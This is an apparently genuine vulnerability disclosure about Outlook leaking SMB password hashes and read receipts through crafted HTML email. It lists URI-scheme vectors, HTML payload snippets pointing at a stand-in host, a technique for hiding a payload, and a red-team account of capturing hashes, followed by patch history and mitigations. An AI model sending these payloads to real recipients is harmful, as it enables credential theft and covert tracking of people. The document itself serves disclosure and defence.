SMB hash hijacking & user tracking in MS Outlook

Brief description

Microsoft (MS) Outlook could be abused to send SMB handshakes externally after a victim opened or simply viewed an email. A WebDAV request was sent even when the SMB port was blocked. This could be used to crack a victim's password when the SMB hash was sent externally, or to receive a notification when an email had been viewed by a victim.

This issue was partially patched in July 2017 (CVE-2017-8572 [1]). According to the Microsoft Security Response Center (MSRC), CVE-2017-11927 [2] that was released in December 2017 had also patched a number of payloads. This patch was updated in May 2018 to address the remaining issues that were mentioned in this report.

Introduction

Users often open new, innocent-looking emails to see what they contain, even if they are not sure about their contents. This can be enough for an attacker to hijack an SMB hash or to at least determine if a victim has looked at that particular email in order to tell if the MS Outlook mail client is in use and the user is connected to the Internet. One click on the email subject is sufficient for exploitation of this behaviour, when the reading pane (preview page) is visible (default).

This behaviour was found during research at NCC Group and was tested on Outlook 2016 and 2010 with default settings in which external images were disabled. This issue was reported to MS in March 2017.

We would also like to note that this behaviour has been implemented as a feature to our Piranha phishing platform, developed by NCC Group to help companies identify their people, process and technology failures with regards to phishing in order to understand areas for improvement in mitigating the risk of phishing attacks [3].

Research & the tales

While I was working on an assessment I received an HTML email in Outlook 2010 that contained an image tag similar to:

```
<img src="//example.com/test/image.jpg" >
```

I could see that Outlook was searching for something after opening that email and it took longer than usual to fully open it. I quickly realised that Outlook actually used the URL as "\\example.com\test\image.jpg" and sent "example.com" an SMB request.

Although it did not load the image even when the provided SMB path was valid, it could send my SMB hash to an arbitrary location. This attack did not work on Outlook 2016, however it made me start a small research project in trying different HTML tags that accept URIs with different URI schemes and special payloads.

I managed to test a list of known URI schemes with different targets by designing a quick (and dirty) ASP.NET application that used ASPOSE.Email [4] and Microsoft Office Interop libraries. The cure53 HTTPLeaks project [5] with minor changes was used as the HTML template to generate the emails. The dirty C# code, URI Schemes, formulas and the HTML template used in this research can be found on the following GitHub project:

```
https://github.com/nccgroup/OutlookLeakTest
```

In order to reduce complications, Wireshark and Process Monitor of Sysinternals Suite were used to detect remote and local filesystem calls.

Findings

Outlook sent external SMB/WebDAV requests upon opening a crafted HTML email. This could be abused to hijack a victim's SMB hash or to determine if the recipient had viewed a message.

This issue was exploited using Outlook default settings that blocked loading external resources such as image files.

Remote calls

Although the "\\" pattern was blocked by Outlook, a number of other patterns and URI schemes were found that forced Outlook to send requests to remote servers.

The following table shows the identified vectors:

Scheme	Examples
its	its:/example.com/test/foo its://example.com/test/foo its:/\example.com/test/foo its:\example.com/test/foo its:\/?\UNC\example.com/foo/foobar
its mk:@MSITStore	mk:@MSITStore:\/example.com/11653 mk:@MSITStore:\/?\UNC\example.com/foo/foobar mk:@MSITStore:\/\\?\UNC\example.com\/foo/\foobar
mk:@MSITStore mhtml + its or mk:@MSITStore	mhtml:its:/example.com/IDontExist/Test
Generic network share using // rather than \\ (Outlook 2010 only)	//example.com:8080/webdav/ //example.com/test/foo

Local filesystem calls

It was also possible to identify URI schemes that could be used to target a file on the local filesystem. This might be interesting especially when a mapped network share

(with write permission) is used or when a file can be dropped on the filesystem. The following URI schemes were identified:

Scheme	Examples
ms-its	ms-its:\\\\localhost\test\test ms-its:../../../test.jpg (on the main drive) ms-its:c:\test.jpg
its	The same as ms-its its:\/?\UNC\localhost\c$\test.jpg
mk:@MSITStore	The same as its
file	file:\\c:/test.jpg file:localhost\test.jpg (on the main drive)
mhtml	mhtml:C:/test.jpg mhtml:file:c:\image.mht!testjpg mhtml:its:C:/test.jpg
cid	cid:../../../../../../../../../../test.jpg (on the main drive)
res	res:\z:\..\..\calc.exe
knownfolder	knownfolder:/../../../../../../../test.jpg (on the main drive)
shell	The same as knownfolder

Some payload examples

Some of the URI schemes (remote/local) only worked when used in certain HTML code. Although only the following payloads were found to be effective during testing, these should not be considered as the only ones capable of loading resources.

Image tag:

```
<img src="//example.com/anon/test.txt" >
```

Base tag + image tag:

```
<base href="//example.com/IDontExist/">
<img>
```

Style tag:

```
</style>
       @import 'its:/example.com/foo1/test';
       @import url(its:/example.com/foo2/test);
</style>
```

Body tag (Image):

```
<body background="its:/example.com/IDontExistNew/foobar">
```

Input tag (Image):

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/smb-hash-hijacking-and-user-tracking-in-ms-outlook/

```
<input type="image" src="its:/example.com/IDontExistNew/foobar" name="test" value=
"test">
```

Link tag (Style):

```
<link rel="stylesheet" href="its:/example.com/IDontExistNew/foobar" />
```

VML tag (Image):

```
<v:background xmlns:v="urn:schemas-microsoft-com:vml">
            <v:fill src="its:/example.com/IDontExistNew/foobar" />
</v:background>
```

A combination of all the above HTML tags could also be used to increase chance of a remote call.
Payloads could also be hidden in an email using a method like this:

```
<span class="show" style="overflow:hidden; float:left; display:none; line-height:0
px;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
This part is hidden
<v:background xmlns:v="urn:schemas-microsoft-com:vml">
           <v:fill src="its:/example.com/IDontExistNew123456/foobar" />
</v:background>

</span>
```

Attackers could use different MIME types when sending emails to hide the payload when a user views the emails in plain text format. Therefore, only users who view the emails in HTML format can be targeted. This can also be abused to lure ordinary users to view an email in HTML format in order to perform the attack.

Piranha phishing platform

After identifying this vulnerability we got to try it out in the wild on a Red Team engagement. Using our Piranha phishing platform we crafted two HTML emails; the first a blatant phishing email and the second based on an actual bulk marketing email. In both cases the HTML source was edited in Piranha to include a CSS @import of an “its” URL which pointed to an internet-based system running Responder.

In the first instance, a number of targeted users forwarded the overt phishing email to their IT department, revealing both their own and their IT administrator’s hash in the process. The second, stealthier email was sent to ten users. Of these, eight received the email outside of their corporate network (which was correctly blocking outbound traffic on port 445), resulting in their hashes being captured. It is worth noting that this was approximately four times more successful than the campaigns we observe our self-service Piranha users running which lure their victims to a fake login page; the use of a legitimate bulk marketing email as the carrier also prevented anyone from reporting it.

MS response

This issue was reported to MS on 8 March 2017 and initially did not meet their security servicing bar as “this would require a user to open an untrusted email”. However, after we provided them with more evidence of exploiting this issue in our phishing assessments (which made our attacks four times more powerful), MS accepted it as a security issue.

This issue was initially patched partially in late July 2017 [1]. This patch did not stop the “mk:@MSITStore” scheme.

According to MSRC, the CVE-2017-11927 [2] (that was not released initially as a result of our report) had rectified some of the payloads. This patch was updated in May 2018 to address the remaining issues that were included in this report.

Workarounds without applying patches

A) The recommendation from MS to customers who are concerned about this class of attack but are either unwilling or unable to handle blocking at the network's edge is to do this with the Windows Firewall. This has been documented in [6].

B) Based on MS’s recommendation the workaround would be to disable the email preview option in Outlook and to delete unknown emails immediately without opening them. We believe that this strategy does not work reliably since email user trust can be exploited in many ways, especially when an email has a charming or familiar subject or its sender looks familiar.

C) It is also recommended to consider blocking external requests to ports 445 and 139. Although this solution does not stop Outlook from sending DNS or WebDAV requests (which can be used for tracking), it does foil the SMB hash hijacking attacks. We have not observed SMB hashes being sent out via WebDAV requests during our testing. Note this solution does not stop targeting a file on the local filesystem.

D) We recommend opening all emails in Outlook in plain text to stop this and other similar attacks. In order to view all incoming emails in plain text format, tick the “Read as Plain Text” checkboxes under:

Outlook > File menu > Options > Trust Center > Trust Center Settings… > Email Security

Although inconvenient and difficult for users to read their emails this way, this is the most robust solution at the moment. It is similar to viewing HTML web pages in plain text that may defeat the whole purpose of using browsers. Perhaps this option can be changed to default when a trusted email needs to be viewed in HTML (Outlook 2016 provides an easy change to see emails in HTML).

In addition to the above and similar to point A, users should always choose strong passwords and domain users should be protected using a suitable Restrict NTLM policy when it is appropriate and beneficial. Note that restrictions available via Restrict NTLM can overlap with access controls imposed through the use of network segregation and host-based firewalls.

In some environments the latter approach may be more flexible or straightforward to manage than a Restrict NTLM policy set. In both cases an understanding of the legitimate traffic flows between hosts is fundamental to defining and auditing effective controls. Use of the Restrict NTLM auditing options and settings is strongly recommended during the derivation of any policies and in advance of a new policy being deployed. This will minimise the potential for legitimate connections being blocked accidentally.

Another similar issue using OLE in RTF

While we were waiting for the final patch a similar issue to steal password hashes using SMB was released at [7] (CVE-2018-0950). Although it used OLE vectors its impact was the same.

References:

[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8572
[2] https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11927
[3] https://www.nccgroup.trust/uk/our-services/security-consulting/managed-and-hosted-security-services/vulnerability-management-and-detection/phishing-simulation-piranha/
[4] https://downloads.aspose.com/email/net
[5] https://github.com/cure53/HTTPLeaks
[6] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014
[7] https://insights.sei.cmu.edu/cert/2018/04/automatically-stealing-password-hashes-with-microsoft-outlook-and-ole.html

Published date: 11 May 2018

Written by: Soroush Dalili (@irsdl)